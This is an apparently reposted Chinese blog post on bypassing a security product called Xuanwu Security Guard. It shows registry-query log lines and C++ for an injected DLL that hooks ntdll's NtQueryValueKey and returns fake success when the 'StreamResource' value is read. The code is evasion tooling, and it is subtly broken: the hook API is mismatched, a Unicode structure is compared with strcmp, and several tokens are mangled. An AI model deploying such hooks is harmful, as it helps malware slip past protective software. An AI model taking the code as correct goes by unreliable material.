12320x2e3cKERNELBASE.dllRtlInitUnicodeStringEx ( 0x00000052fed579f8, "StreamResource" )STATUS_SUCCESS
12330x2e3cKERNELBASE.dllNtQueryValueKey ( 0x0000000000000454, 0x00000052fed579f8, KeyValueFullInformationAlign64, 0x00000052fed578b0, 0x00000090, 0x00000052fed57864 )STATUS_OBJECT_NAME_NOT_FOUND0xc0000034 = 找不到对象名。
// 定义 EasyHook 命名空间
namespace EasyHook
{
// HookFunction: 用于钩住一个指定的 DLL 中的函数
HRESULT HookFunction(
LPCSTR lpDllName, // 钩住的库名称
LPCSTR lpFunctionName, // 钩住的函数名称
PVOID pHookFunction, // 我们自己的钩子函数
PVOID* ppOriginalFunction // 存储原始函数的地址
);
}
// 定义 NtQueryValueKey 的委托
typedefint(WINAPI* NtQueryValueKeyDelegate)(HANDLE, PVOID, int, PVOID, int, PVOID);
// 原始 NtQueryValueKey 函数指针
NtQueryValueKeyDelegate pOriginalNtQueryValueKey = nullptr;
// 钩子函数,用于拦截 NtQueryValueKey 调用
int WINAPI NtQueryValueKeyHook(HANDLE keyHandle, PVOID valueName, int keyValueInformationClass, PVOID keyValueInformation, int keyValueInformationLength, PVOID resultLength)
{
// 判断是否是 "StreamResource"
if (valueName && strcmp((char*)valueName, "StreamResource") == 0)
{
wprintf(L"拦截了 StreamResource 访问n"); // 使用宽字符输出
// 返回 0,表示成功
return 0; // 你可以根据需要改变返回值
}
// 如果没有被拦截,调用原始的 NtQueryValueKey 函数
return pOriginalNtQueryValueKey(keyHandle, valueName, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength);
}
// EasyHook 中的钩子入口函数
voidHookNtQueryValueKey()
{
// 使用 EasyHook 来注入钩子
HRESULT hr = EasyHook::HookFunction(
"ntdll.dll", // 钩住的库
"NtQueryValueKey", // 钩住的函数
(PVOID)&NtQueryValueKeyHook, // 我们自己的钩子函数
(PVOID*)&pOriginalNtQueryValueKey // 存储原始函数地址
);
if (FAILED(hr))
{
wprintf(L"EasyHook 注入失败: 0x%xn", hr);
}
else
{
wprintf(L"钩子注入成功n");
}
}
// DllMain 入口点
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// 当 DLL 被加载时,钩住 NtQueryValueKey 函数
HookNtQueryValueKey();
break;
case DLL_PROCESS_DETACH:
// 如果需要,可以在此处进行清理
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
原文始发于微信公众号(技可达工作室):绕过玄武安全卫士检测
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论